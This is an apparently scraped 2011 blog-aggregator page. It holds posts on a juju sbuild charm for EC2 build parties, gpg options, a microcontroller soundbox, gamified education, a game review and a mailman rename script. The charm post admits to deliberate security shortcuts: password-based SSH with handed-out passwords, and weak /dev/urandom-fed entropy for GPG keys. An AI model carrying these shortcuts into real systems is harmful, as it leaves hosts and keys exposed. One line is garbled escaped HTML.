Initialize your juju environment. Be sure to add “juju-origin: ppa” to your environment, along with filling in your access-key and secret-key from your Amazon AWS account. Note that control-bucket and admin-secret should not be used by any other environment or juju won’t be able to distinguish them. Other variables are good to set now too. I wanted my instances close to me, use I set “region: us-west-1“. I also wanted a 64bit system, so using the AMI list, I chose “default-series: oneiric“, “default-instance-type: m1.large” and “default-image-id: ami-7b772b3e”
juju
$EDITOR ~/.juju/environments.yaml
Get my sbuild charm, and configure some types of builders. The salt should be something used only for this party; it is used to generate the random passwords for the builder accounts. The distro and releases can be set to whatever the mk-sbuild tool understands.
bzr co lp:~kees/charm/oneiric/sbuild/trunk sbuild-charm
cat >local.yaml <<EOM
builder-debian:
salt: some-secret-phrase-for-this-party
distro: debian
releases: unstable
builder-ubuntu:
salt: some-secret-phrase-for-this-party
distro: ubuntu
releases: precise,oneiric
EOM
Bootstrap juju and wait for ec2 instance to come up.
juju bootstrap
Before running the status, you can either accept the SSH key blindly, or use “ec2-describe-instances” to find the instance and public host name, and use my “wait-for-ssh” tool to inject the SSH host key into your ~/.ssh/known_hosts file. This requires having set up the environment variables needed by “ec2-describe-instances“, though.
ec2-describe-instances --region REGION
./sbuild-charm/wait-for-ssh INSTANCE HOST REGION
Get status:
juju status
Deploy a builder:
juju deploy --config local.yaml --repository $PWD local:sbuild-charm builder-debian
Deploy more of the same type:
juju add-unit builder-debian
juju add-unit builder-debian
juju add-unit builder-debian
Now you have to wait for them to finish installing, which will take a while. Once they’re at least partially up (the “builder” user has been created), you can print out the slips of paper to hand out to your party attendees:
./sbuild-charm/slips | mpage -1 > /tmp/slips.ps
ps2pdf /tmp/slips.ps /tmp/slips.pdf
They look like this:
Unit: builder-debian/3
Host: ec2-256-1-1-1.us-west-1.compute.amazonaws.com
SSH key fingerprints:
1024 3e:f7:66:53:a9:e8:96:c7:27:36:71:ce:2a:cf:65:31 (DSA)
256 53:a9:e8:96:c7:20:6f:8f:4a:de:b2:a3:b7:6b:34:f7 (ECDSA)
2048 3b:29:99:20:6f:8f:4a:de:b2:a3:b7:6b:34:bc:7a:e3 (RSA)
Username: builder
Password: 68b329da9893
To admin the machines, you can use juju itself, where N is the machine number from the “juju status” output:
juju ssh N
To add additional chroots to the entire builder service, add them to the config:
juju set builder-debian release=unstable,testing,stable
juju set builder-ubuntu release=precise,oneiric,lucid,natty
Notes about some of the terrible security hacks this charm does:
enables password-based SSH access (and locks the default “ubuntu” account), so party attendees don’t need anything but the ssh client itself to get to the builders. starts rngd -r /dev/urandom to create terrible but plentiful entropy for the sbuild GPG key generation.
Enjoy!
© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

December 07, 2011 05:53 PM
My earlier post on juju described a number of weird glitches I ran into. I got invited by hazmat on IRC (freenode #juju) to try to reproduce the problems so we could isolate the trouble.
Fix #1: use the version from the PPA. The juju setup documentation doesn’t mention this, but it seems that adding “juju-origin: ppa” to your ~/.juju/environment.yaml is a good idea. I suggest it be made the default, and to link to the full list of legal syntax for the environment.yaml file. I was not able to reproduce the missing-machines-at-startup problem after doing this, but perhaps it’s a hard race to lose.
Fix #2: don’t use “terminate-machine“. :P There seems to be a problem around doing the following series of commands: “juju remove-unit FOO/N; juju terminate-machine X; juju add-unit FOO“. This makes the provisioner go crazy, and leaves all further attempts to add units stick in “pending” forever.
Big thank you to hazmat and SpamapS for helping debug this.
© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

December 07, 2011 05:11 PM
Gail Carmichael
Things are about to get really nutty, and I expect I won't be able to post to the blog too much in the next 6-8 weeks (though I will still try to get some content here!). So here's a quick update to keep you going.
I've been trying to get as much done for school as possible before baby arrives, but there have been a few factors making this difficult. The main thing is that baby is still in breech position, meaning its head is up instead of down where it should be. Traditionally, this has meant an automatic c-section, which is something I desperately don't want for a number of complex reasons I can't fully articulate here. Fortunately, safe, regular breech deliveries are starting to come back into fashion, and there is a chance that if baby doesn't turn in time I could still avoid the surgery.
But, of course, the best outcome of all would be to get baby to turn and not have to make the tough decision on what to do when labour hits. We've been trying a few things, from the Webster technique to various inversions. We even had an ECV yesterday, where the doctor tries to manually turn the baby from the outside. That was unsuccessful, but we are planning to try again next week and continuing doing everything we can, no matter how silly it seems.
So that's going to be consuming my attention for the next little while. I will still try to be optimistic about getting more done for school, but there may be a point I have to just throw in the towel. I'd be disappointed, but ok with this. You can only do what you can do, right?
December 07, 2011 02:10 PM
December 06, 2011
Jon Phillips
Busy time indeed! I made a blog post on Fab blog about the work we did in the fall to rebuild all of Creative Commons public websites. Here’s a snippet:
In early September, Fabricatorz were contracted by Creative Commons to redesign and launch an updated website design in time for the Creative Commons Summit and its fall fundraising campaign. Later we were to roll-out the same theme across their other major websites. That means we had to crank out in a short time a theme that could be simplified, controlled from one set of master files, and change quickly based upon regular direction from CC staff, while making sure everything works well across five web engines: the main wordpress site, civicrm, the cc licensing engine, CC’s Wiki and search.creativecommons.org.

December 06, 2011 06:59 PM
Kees Cook
On Sunday, I brought up EC2 instances to support the combined Debian Bug Squashing Party/Ubuntu Local Jam that took place at PuppetLabs in Portland, OR, USA. The intent was to provide each participant with their own sbuild environment on a 64bit machine, since we were going to be working on Multi-Arch support, and having both 64bit and 32bit chroots would be helpful. The host was an Ubuntu 11.10 (Oneiric) instance so it would be possible to do SRU verifications in the cloud too.
I was curious about the juju provisioning system, since it has an interesting plugin system, called “charms”, that can be used to build out services. I decided to write an sbuild charm, which was pretty straight forward and quite powerful (using this charm it would be possible to trigger the creation of new schroots across all instances at any time, etc).
The juju service itself works really well when it works correctly. When something goes wrong, unfortunately, it becomes nearly impossible to debug or fix. Repeatedly while working on charm development, the provisioning system would lose its mind, and I’d have to destroy the entire environment and re-bootstrap to get things running again. I had hoped this wouldn’t be the case while I was using it during “production” on Sunday, but the provisioner broke spectacularly on Sunday too. Due to the fragility of the juju agents, it wasn’t possible to restart the provisioner — it lost its mind, the other agent’s couldn’t talk to it any more, etc. I would expect the master services on a cloud instance manager to be extremely robust since having it die would mean totally losing control of all your instances.
On Sunday morning, I started 8 instances. 6 came up perfectly and were excellent work-horses all day at the BSP. 2 never came up. The EC2 instances started, but the service provisioner never noticed them. Adding new units didn’t work (instances would start, but no services would notice them), and when I tried to remove the seemingly broken machines, the instance provisioner completely went crazy and started dumping Python traces into the logs (which seems to be related to this bug, though some kind of race condition seems to have confused it much earlier than this total failure), and that was it. We used the instances we had, and I spent 3 hours trying to fix the provisioner, eventually giving up on it.
I was very pleased with EC2 and Ubuntu Server itself on the instances. The schroots worked, sbuild worked (though I identified some additional things that the charm should likely do for setup). I think juju has a lot of potential, but I’m surprised at how fragile it is. It didn’t help that Amazon had rebooted the entire West Coast the day before and there were dead Ubuntu Archive Mirrors in the DNS rotation.
For anyone else wanting to spin up builders in the cloud using juju, I have a run-down of what this looks like from the admin’s perspective, and even include a little script to produce little slips of paper to hand out to attendees with an instance’s hostname, ssh keys, and builder SSH password. Seemed to work pretty well overall; I just wish I could have spun up a few more. :)
So, even with the fighting with juju and a few extra instances that came up and I had to shut down again without actually using them, the total cost to run the instances for the whole BSP was about US$40, and including the charm development time, about US$45.
UPDATE: some more details on how to avoid the glitches I hit.
© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

December 06, 2011 12:05 AM
December 05, 2011
Kees Cook
Handy command line arguments for gpg:
gpg --list-options show-photos --fingerprint 0xdc6dc026
This is nice to examine someone’s PGP photo. You can also include it in --verify-options, depending on how/when you want to see the photo (for example, when doing key signings).
If gpg doesn’t pick the right photo viewer, you can override it with --photo-viewer 'eog %I' or similar.
© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

December 05, 2011 09:35 PM
Gail Carmichael
So often we think of the arts and science as opposites. Many who are talented in one feel hopelessly lost in the other. But the two are more related than it might seem, sometimes in the most unexpected ways...
Take last year's Dance Your PhD contest winners from the chemistry department of my own school, Carleton University. Their dance explains a technique called Systematic Evolution of Ligands by Exponential Enrichment (SELEX).
Or how about the series of videos that explain how sorting algorithms work? I've used these with great effect in my own introductory CS courses, and recall showing it during a TA workshop I attended, where some participants suddenly understood how quick sort worked as a result.
John Bohannon is the man behind the aforementioned Dance Your PhD contest. He recently gave a talk at TEDxBrussels with a modest proposal. He thinks that "bad PowerPoint presentations are a serious threat against the global economy." (A man after my own heart!) Instead of sitting around and wasting time being distracted by pretty pictures and too much data, we should use dance to explain challenging topics and issues.
<p>&amp;amp;amp;lt;p&amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;Video&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;lt;/p&amp;amp;amp;gt;</p>
I think dance is just the start. Art and science are both important and they could be connected in so many meaningful ways. Let's get our thinking and creative caps on and see what we can come up with.
December 05, 2011 10:00 AM
November 29, 2011
Gail Carmichael
Gamification is certainly a hot topic these days. Jesse Schell opened Pandora's Box with his Visions of the Gamepocalypse talk. Sebastian Deterding discussed the promises and pitfalls of gamification. Ian Bogost came right out and said that Gamification is Bullshit. And yet, there are many who believe that gamifying education could be a very good thing.
Take Extra Credits (now hosted on Penny Arcade) and their view of how we might gamify education. They envision rewards systems that count up from zero rather than down from a perfect grade. Perhaps the most interesting example of gamifying education so far, though, has been the charter school Quest 2 Learn. I was skeptical of how well the concept would be implemented at first, but the more I learn about it the more impressed and excited I am.
Enter the latest project I've encountered: Just Press Play. I first learned about this initiative on the Microsoft Research Connections Blog (via Reddit, of all places), where Donald Brinkman posted an article called Unlocking Academic Success with Frame Games for Learning. As he describes the project:
It began with a simple question: “Why can’t students earn digital rewards for being awesome?†A research group comprised of university faculty, staff, and students at the Rochester Institute of Technology (RIT) decided to find out. The team delved into the everyday travails of college life—from academia to social activities—and developed a real-world game,
Just Press Play, which helps students earn a digital reward for the ultimate achievement: collegiate success.
Again, at first glance, it's easy to worry that this is just another one of those gimmicky projects doomed to failure. But to be honest, I don't think this is going to be the case.
Check out the slides for a presentation made at the 2011 Games in Education conference about the project (be sure to click on the Speaker Notes tab under the slides). There are definitely hints in there that suggest a
lot more thought has gone into this project than what a typical marketing team has probably done for their commercial gamification projects. For instance, it's clear they recognize that intrinsic rewards are much more sustainable than extrinsic ones, and want to harness that.
This is something I'm definitely going to watch. I like the fact that it's for college students rather than the usual K-12 audience and am intrigued to see how much more the students engage with all aspects of college life.
November 29, 2011 11:06 AM
November 25, 2011
John Cliff
Been playing NFS:The Run, and have found myself shouting at the tv in frustration, how did they take such a good concept and screw it up so badly? A coast to coast canonball style run in super cars. 3000 odd miles of non stop racing. Sounds great! Except its not. Its not non-stop and its not 3000 miles. It stops every 5 minutes or so as the race is broken up into a zillion stages. Just as you get in a groove and its stage over, heres a bunch of pointless achievements and now you can hit A twice to wait through a load screen to carry on.Â
On the screens between levels its constantly telling you your stats, Run time, 15mins, avg speed 140mph, miles travelled 300 plus? what the hell? ok, you’ve cut the distance down. stop making it so frikken obvious. I can do speed x time, its pretty obvious that the sums dont add up.Â
Then theres the stupid stage modes, “pass 8 people to progress” its not really a coast to coast race if you cant progress past any 5 minute stage without finishing in the position the game makers have decided is the place that you need to be in at that point.Â
Dont even get me started on the out of car bits. Why do I have to randomly mash the A button to make him run from cops, then bash the Y to make him jump a fence? Seriously pointless, and really badly done. if you want to have these ‘story’ bits to make me change car, just put them in as cutscenes and be done with it.Â
I know, its a NFS game, its not meant to be vaguely realistic, its an action game, etc etc. but its just dumb.Â
This could have been a great game. Its barely good. such a shame.
November 25, 2011 09:47 PM
November 21, 2011
Niko Kiirala
I did have the soundbox device I have built with me at Alternative Party 2011. It did attract a fair amount of interest, though nowhere near what my 32×8 LED screen did. I think I'll have to write a post about that LED screen and how it works some time. For quick info, it's built around an ATmega328, can show 16 different shades of green with gamma ramp and shows some classical effects such as plasma and fire.
Neither one of my projects gained nowhere near the interest that the Chernobyl reactor simulator by Helsinki Hacklab did, but that is only to be expected. That simulator was awesome, even though they didn't quite manage to get it to a playable state during the event.
I'll first describe the high-level workings of the soundbox, then the hardware side and last the software used.
High-level view
The device is a looper: it plays a short loop of sounds over and over again and the sounds can be altered while the device is playing. It provides two channels, each with its own waveform and each separately programmable. The loop is 128 sounds long and the actual length of loop in seconds depends on the setting of tempo knob.
The first sound channel plays sine wave and the second channel plays pitched noise. One of the device controls is a pitch knob that can be used to select the frequency of sine wave of noise to be programmed.
For sine wave there's also second knob — arpeggio — which can be used to alternate between the base pitch and a higher pitch at a high rate. The rate is fixed depending on tempo and the setting of arpeggio knob defines how much higher is the higher pitch.
Also there's a beat LED that flashes four times during every loop through the sound loop — white at the beginning of loop and red the other three times. This is to help the user see how fast a tempo the device is using.
The front panel also features a built-in speaker which is mere 5 cm across but can produce surprisingly high volumes — even at the active party hall it was able to put out enough volume to be clearly audible at close quarters. I've tried some small commercial speaker devices intended to be attached to portable CD/MP3 players and found that they can't put out nearly enough volume in such situations, so I was somewhat surprised that this simple device could.
The hardware design
The hearth of this device is Atmel ATmega88 microcontroller running at 16 MHz. Sporting 8 kB of flash memory and 8 kB of RAM, this microcontroller is the little brother of ATmega328 that is used in the popular
Arduino prototyping board.
Early version of the hardware
With the built-in analog-to-digital converter in ATmega88 it is simple to read the positions of the three 10 kΩ linear potentiometers used for pitch, arpeggio and tempo. The potentiometers are connected across device ground and regulated 5 V lines, so turning a potentiometer changes the voltage at its middle pin linearly between these two voltages. This voltage is read with the ADC in the microcontroller and used to control the sound generation.
The microcontroller outputs the sound using
Pulse-width modulation and uses a simple resistor-capacitor low-pass filter so that only frequencies below the
Nyquist frequency of the output are passed to amplifier and eventually to speaker. Or at least this was the idea — I don't know quite exactly the frequency response of the filter I built, especially as I ended up swapping some of the capacitors to different value than the one originally planned, since I didn't have any with correct value and could not be bothered to visit the electronics store to get a couple capacitors. Anyhow, it sounds good and looking at the output with an oscilloscope doesn't show modulation frequency passed through, so I guess it's fine.
After the low-pass filter is the volume control: a 10 kΩ logarithmic potentiometer. After it there's a
LM386 amplifier chip that drives the speaker or the device connected to the line out jack. One notable thing is that this amplifier chip is not connected to the regulated 5 V line that is being used to drive the ATmega88, but to the unregulated voltage straight from the batteries. This is done to maximize the voltage available to the amplifier chip — which means more volume — and to ease the load on the regulator, which is simple
7805 linear regulator that can generate considerable amounts of heat if heavily loaded or if the difference between its input and output voltages is large.
Speaking of batteries and voltage regulation, the power source for this device is six AA size NiMH cells. With nominal voltage of 1.2 V each, the total voltage is 7.2 V — high enough so that the 7805 can produce stable 5 V supply and well inside the operating voltage range for LM386.
The software
The software for the soundbox is written in C using the
AVR libc library.
The sounds to be played are stored in two 128 bytes long arrays, one for each voice. Each byte in these arrays corresponds to one sound to be played, the value defining the pitch of the sound.
At the hearth of the sound generation is a
numerically controlled oscillator (NCO). The oscillator for sine voice uses 256 samples long phase-to-amplitude converter array that is filled with sine values at device boot up. The noise channel uses similar table filled with random values with Gaussian distribution, creating a table that contains white noise. The oscillator for noise channel advances in its table 4096 times slower than sine oscillator of same frequency. This value has been chosen experimentally so that sine and noise with same pitch setting would sound like having somewhat similar pitch.
The sound generation itself is done inside the overflow interrupt of an pulse width modulation timer that's built-in in ATmega88. Each time the timer overflows — every 256 processor ticks in my configuration — a new sound amplitude is computed from the two NCOs and written in pulse width control register.
Reading inputs and setting the frequencies of the two NCOs is done in the main program loop. Each loop of the main program moves one step forward in sound arrays, reads inputs, writes new sound values to sound arrays if needed and sets the frequency controls of NCOs according to the values in sound arrays. After this it runs NOP command in a loop a suitable number of times to wait until new sound is to be played.
That's it for this time. I'm thinking of posting something about how I made the enclosure, especially the labels on the panel and buttons. Maybe some recording of the sounds I get from the device, too.
November 21, 2011 08:20 PM
November 18, 2011
Gail Carmichael
I recently came up with what I thought was interesting event idea. Our Dean of Engineering had expressed some interest in CU-WISE coming up with an idea for a recruitment event that would attract the media and encourage high school girls to consider choosing Carleton in their upcoming university applications. I haven't heard back from the Dean so I am not sure if this event will happen, but I thought I'd share the idea in case it helped any of you come up with your own.
The Truth About Women in Science and Engineering
The proposed premise is to be honest about what it’s like to be a woman in science or engineering. This begins as something that comes across as negative as we share the common challenges faced by students and others, but the idea is to show how a group like CU-WISE and all the other awesome things that Carleton does turns this all around.It is a risk to do anything negative at all (and it needs to be approached in just the right way), but there are two good reasons for this approach:
It will build trust in the students we want to reach as well as their parents. All schools are trying to sell themselves as a product, but how many are willing to be honest about the situation? It’s the elephant in the room, and our audience should appreciate our ability to discuss it in the open.
To attract the media, your approach has to be different. Sure, maybe you’d get a bit of air time for the usual outreach events, but they tend to be fairly similar to each other. Being willing to talk about these issues is not something that’s very common.
The proposed event would be a dessert reception held on the afternoon of a weekend. The reason for this is that a dinner would not only be more expensive, but require longer periods of sitting in one place (it will become clear why this isn’t desirable shortly). Choosing an afternoon on a weekend makes it easier for students and parents to attend since families need to get home from work and eat dinner before attending an event like this during the week. The great participation numbers at Go Eng Girl (held on a Saturday) proves that weekend events can be successful.
The dessert reception should include something to please both the parents (who are big influencers to their children’s choices) and the students. Offering beer and wine, if affordable, shows we are thinking of the former, and having cupcakes, cake pops, and milkshakes or smoothies for the girls should thrill the latter.
The main format of the event would be to have a short talk at the beginning to discuss the challenges faced by women in science and engineering and how CU-WISE and other Carleton initiatives help. This would be followed by a structured networking opportunity where parents and students would speak with current students, alumni, and faculty. Finally, hands-on demo and other info booths would be available during the last segment, when casual networking would take place. Dessert could be served in both of the last two segments or just at the end.
Possible Agenda
Time Item Reasoning
20 minutes Talk: The Truth About Women in Science and Engineering
(One or two guest speakers, depending on whether it will be joint between Engineering and Science) As explained earlier, this is an opportunity to talk about the elephant in the room and build trust with both the parents and the students. It is also an opportunity to showcase how CU-WISE helps by providing a support network and other great initiatives to Carleton students so they know they can expect to be able to overcome the challenges at Carleton.
40 minutes Structured Networking:
We will have a set of current female students, alumni, and faculty available to participate. There will be at least one person from each of these groups at each numbered table. They will see three different groups of parents and students and will be asked to talk about their experiences at Carleton, including challenges they faced and how they overcame them. Each student/parent pair will draw three table numbers from separate bins, set up so that they get one table assigned to a current student, another to an alumnus, and another to a faculty member. In each of the ten minutes, the student/parent pair will sit at their assigned table and have a discussion with the student/alumnus/faculty assigned to that table. This will repeat twice so each pair talks to each type of person assigned to the tables. Ten minutes in the schedule is allotted for time taken switching tables, etc.
Students appreciate the opportunity to see what life is like for current students, what kinds of jobs they can expect if they get through the program, and who will be teaching them. This makes coming to university much less intimidating, and if they find themselves connecting with any of these people, they are more likely to remember Carleton favourably as a place they could see themselves studying at.
If possible, we may even be able to ask participants to tell us what programs they are applying for, and pre-match the tables they visit so they are able to speak to at least some people from that program or, at least, faculty.
60 minutes Demo and Info Booths
Demo booths should provide an opportunity to touch and try things as well as listen to someone from Carleton talk about the demo itself and how it relates to the kinds of things you study at Carleton.
Potential demos might include robotics, satellites, brain dissection, interesting interfaces from HCI students, water filtration, etc.
Info booths - such as one from Athletics - are important to emphasize the kind of balance you can have when you are a student at Carleton, and can show what other services are there to support students.
Besides the usual reasons for having hands-on demos (engagement, etc), they implicitly show the success of women at Carleton. This continues to follow the theme on the Truth of Women in Science and Engineering in that we see what awesome things women here are really doing.
November 18, 2011 10:00 AM
November 16, 2011
Jon Phillips

And the above happened after I killed all my sim cards, American phone plan, and turned off all social media notifications.

Now it time to do Marking all over the world. There is little need to print new propaganda unless you need mass market growth, but is that even good?

Muji can’t handle the Marking Revolution!

The US Global Entry program too, just pwnd into a Fabricatorz brochure showing off the four horseman projects of Fabricatorz.
November 16, 2011 11:19 AM
Gail Carmichael
In an age where to be female was to be weak, there was one woman who would finally show the world that the fairer sex could beat the very best men academically, even in something so male dominated as mathematics. And she did it while still maintaining a rather balanced lifestyle.
Philippa Fawcett did the unimaginable: she beat every other man and woman who competed in the prestigious mathematical examinations held at Cambridge University. This was in 1890, a time long before men and women were even allowed to study for degrees side by side. Even the science of the time suggested that this probably couldn't happen:
Central to the 19th-century concept of human development was the idea that the adolescent body was a closed system; there was only so much energy available, and so a body in which resources were diverted to mental development was one in which physical development necessarily suffered. This was thought to be a particular problem for women, because their reproductive system was far more complicated than men’s and so consumed a greater proportion of the body’s resources. A young woman who studied hard during puberty was believed to be taking special risks since “the brain and ovary could not develop at the same time,†as historian Judith Walzer Leavitt points out.
The
story of her triumph was detailed over at the Smithsonian blog and is worth the read on its own. However, I happened to notice one very interesting aspect of the tale that has been rather relevant to me in the last couple of days: the fact that, unlike many of the previous male champions, Phillipa maintained a very good life balance while studying for the exams.
Just look at what the boys went through to become the top scorers, known as Wranglers:
The most serious candidates invariably hired tutors and worked more or less round the clock for months. The historian Alex Craik notes that C.T. Simpson, who ranked as Second Wrangler in 1841, topped off his efforts by studying for 20 hours a day in the week before the exams and “almost broke down from over-exertion… [he] found himself actually obliged to carry a supply of ether and other stimulants into the examinations in case of accidents.†James Wilson, who topped the rankings in 1859, had a nervous breakdown immediately after his exams; on his recovery he discovered he had forgotten all the math he ever knew except elementary algebra. And James Savage worked himself so hard that he was found dead of apoplexy in a ditch three months after being named Senior Wrangler of 1855.
In contrast, Phillipa "led 'a disciplined and orderly life,' rising at 8 a.m. and rarely going to bed later than 11 p.m. She studied six hours a day, but refused to yield to the then-popular practice among aspirant Wranglers of working through the night with a wet towel wrapped around her head."
Just yesterday I finally read a time management article that had been making the rounds. Phillipa's routine reminded me of the advice in that article. As someone who also strives for a regular working day (and sometimes feeling guilty about it!), I am glad to see how others are able to achieve success with similar working hours. Definitely check out the article:
Time management: How an MIT postdoc writes 3 books, a PhD defense, and 6+ peer-reviewed papers — and finishes by 5:30pm
Do you have any time management secrets or have you read any other great articles on the subject?
November 16, 2011 10:52 AM
Kees Cook
Inspired by recent Planet Ubuntu posts, I submit a QR Code for your examination:
![[image]](http://mowser.com/img?url=http%3A%2F%2Fwww.outflux.net%2Fimages%2Fqrcode.png)
© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

November 16, 2011 03:08 AM
November 11, 2011
Gail Carmichael
I've attended the Grace Hopper Celebration of Women in Computing (GHC) every year since 2008, gradually increasing my participation from blogging to being on a conference committee. This year I had to miss out because I am past my flight cut-off for my pregnancy. For a long time I was so busy trying to get stuff done for school before I start my leave in January that I didn't even think about it, but once the conference got started this week I felt very sad to be missing out.
Fortunately, the very thing that I have worked so hard to make awesome when attending GHC in the past is allowing me to enjoy this year's edition from afar: the online communities.
I have a whole new appreciation for the many awesome posts on attendees' blogs and Twitter accounts. While seeing conversations between all the people I am missing out on meeting up with makes me feel sad, I also find myself vibrating with excitement with all the amazing things happening in Portland. From the wonderful keynote speakers to the fantastic panels to the neat e-textile workshop, this conference must be the best one yet.
If you'd like to enjoy GHC from afar as well, be sure to check out the relevant posts on these blogs (many of which are also
aggregated on the conference website):
To follow posts on Twitter, search for the
#ghc11 hash tag.
To read notes taken during specific conference sessions (and find links to associated blog posts), have a look at the
official GHC wiki.
And, finally, be sure to
watch the keynote video of Sheryl Sandberg (COO of Facebook), already available online! (The other keynotes will find their way online eventually as well, so stay tuned to the
Grace Hopper and
ABI news feeds.)
Hopefully I'll see you all at GHC 2012 in Baltimore next October with baby — and with any luck, husband — along for the ride!
November 11, 2011 03:25 PM
November 08, 2011
Gail Carmichael
I love coding. Once I get started, I get lost in the groove very easily. I love thinking about the best way to organize objects and design my UI. It feels good to find elegant ways to solve problems. So the fact that I haven't done a lot of programming lately really frustrates me.
If I was working in industry right now, I'd be coding every day. The nature of my current projects in grad school require a lot of preliminary non-coding work (especially reading). But it would be wrong to blame grad school for my lack of coding.
In fact, there seem to be two larger problems at play here. First, I have a hard time wanting to do much of anything work related in the evenings. This is partly because my husband and I value balance in our lives, like to cook real food for dinner and keep the house in good working order (easier said than done when you own a 130+ year old place in the country). My poor eyesight and need to wear hard contacts may also play a factor, making my eyes too tired to focus on a screen all evening.
But perhaps more frustrating is the second problem. The amount of momentum I need to break the code block barrier has grown to be fairly immense. I don't know why this is. Once I get started I can't stop, but it seems really, really hard to make the first move. To open Xcode or or Eclipse or Visual Studio and just start coding. It may be related to my dislike of doing something for only a short period of time before having to put it away again (probably the same reason I still haven't finished playing the first Portal). I'm not sure.
I have more than one project that I've very nearly finished. I could easily be tinkering away on these projects when I need a break from reading or during a quiet evening at home. I want to break this code block and be consistently programming throughout each semester. How?
November 08, 2011 10:42 AM
November 06, 2011
Gail Carmichael
It's hard to believe that our baby's due date is less than 8 weeks away. It's even harder to believe I've written so little about it here! What with trying to get as much done as I can before going on leave after Christmas, I haven't really thought that much about the whole baby thing.
Nonetheless, there are still some things I've been looking forward to and others that I have been worried about. Thought I'd share a few here.
Things I'm Worried About
Will I finish everything I want to get done before I go on leave?!
My eyes have problems that require me to wear hard contacts (can't see any other way, even with glasses). I worry about not being to see when I have to get up in the night for baby. It's also potentially unfortunate that I wouldn't be able to mess around on my phone or read a magazine when I have to get up for longer periods of time (or will I be too tired to do that anyway?).
How long will it be before I am able to get back to doing useful things? I'd like to at least continue with reading books and papers related to my thesis after the first couple of months. If I'm really lucky, I'd like to ramp things up a little bit in my second four months of leave (fingers crossed for a "good" baby!).
Once I'm back from leave, what is life going to be like? Am I going to be able to graduate in a reasonable amount of time, and for a reasonable amount of money as scholarships and funding start to run out?
Things I'm Looking Forward To
Having a cute little baby to love and cuddle, obviously. ;)
I'm really excited to eventually make use of the really cool educational technology that's starting to come out these days. It'll be a while, but I'm looking forward to introducing my kid to things like Project Columbia, which melds Kinect and Sesame Street together. I hope I can eventually make some of my own apps that my kid can enjoy, too.
I'm also already wondering at what age I can teach my kid to program with Scratch.
We already try to lead a pretty balanced life (sometimes I feel bad about not being as hard-core as I used to be in undergrad). I'm looking forward to having a quality family life at home, enjoying everything from Christmas to everyday life that much more.
November 06, 2011 03:21 PM
November 02, 2011
Gail Carmichael
If you're a professor or TA for a course and want to use online technology for the betterment of your students, which is superior: a course wiki or a course blog? I've been using the latter for the course I'm TA'ing this term, but think the real answer depends on exactly what you hope to get out of it.
The
blog I've been running this term is for the third year graphics course offered to the game development stream students. One of the reasons I started it is that the only other ways to communicate with students would be to ask the professor to post things to his course website (which would limit me in what I could actually say), or to hope that students actually checked WebCT once in a while (computer science students don't much like WebCT).
Some of the things I post about include:
Updates on my progress grading various assignments and tests. General summarized feedback on assignments. Numbered comments for tests that I can refer to when marking so I don't have to write the same explanations over and over again on paper. Detailed explanations of topics students seem to be struggling with. Links to applets on fundamental topics I've made in the past that might help students. Links to other resources that might be helpful.
So far the blog has been very much a one-way form of communication, even though students could be posting questions or comments on the posts if they wanted to. It's not totally clear how many students look at the blog, but I do know that those who come see me for help use it.
A course wiki would look a lot different from the blog. For instance, instead of a stream of posts that capture what happened during a particular term chronologically, a wiki would likely end up being a more structured documentation of the course that could evolve over time. It is more of a living document that students, TA's, and professors could contribute to. It might even be able to combine the ideas of the traditional course webpage with some of what I put on my blog (some of the resources on my blog might be better suited to a wiki). A wiki might be more difficult to use as a form of feedback to students in a particular term since it's not as obvious when new content is posted.
So, if choosing between a wiki or a blog, I would consider whether I want to develop a resource that will evolve each time the course is taught (wiki), or if communication and feedback to students is my priority (blog). I don't think one is superior to the other, and the ambitious might even be able to effectively offer both.
Have you used either for your own course? What type of content did you include, and how successful was your approach?
November 02, 2011 02:01 PM
October 30, 2011
Jon Phillips
For all the nerds out there, here is a lil script I wrote with some help for being able to rename lists, especially if you are having trouble with aliases generated from your setup. Mailman is simple in using just the folder path names for a list to generate aliases and more. The setup for Fabricatorz is ubuntu latest with mailman and postfix. Have it with the script, and let me know if you make some changes or have problems:
#!/bin/sh
#
# A quick way to rename mailman lists and trust me you aren't going to find
# a better way to do this on ubuntu server
#
OLD="$1"
NEW="$2"
echo $OLD
echo $NEW
/etc/init.d/mailman stop
test -d /var/lib/mailman/archives/private/${NEW} && echo '*** That mailing list name already exists. ***' && exit 1
mv /var/lib/mailman/lists/${OLD} /var/lib/mailman/lists/${NEW}
test -d /var/lib/mailman/archives/private/${OLD} && mv /var/lib/mailman/archives/private/${OLD} /var/lib/mailman/archives/private/${NEW}
mv /var/lib/mailman/archives/private/${OLD}.mbox /var/lib/mailman/archives/private/${NEW}.mbox
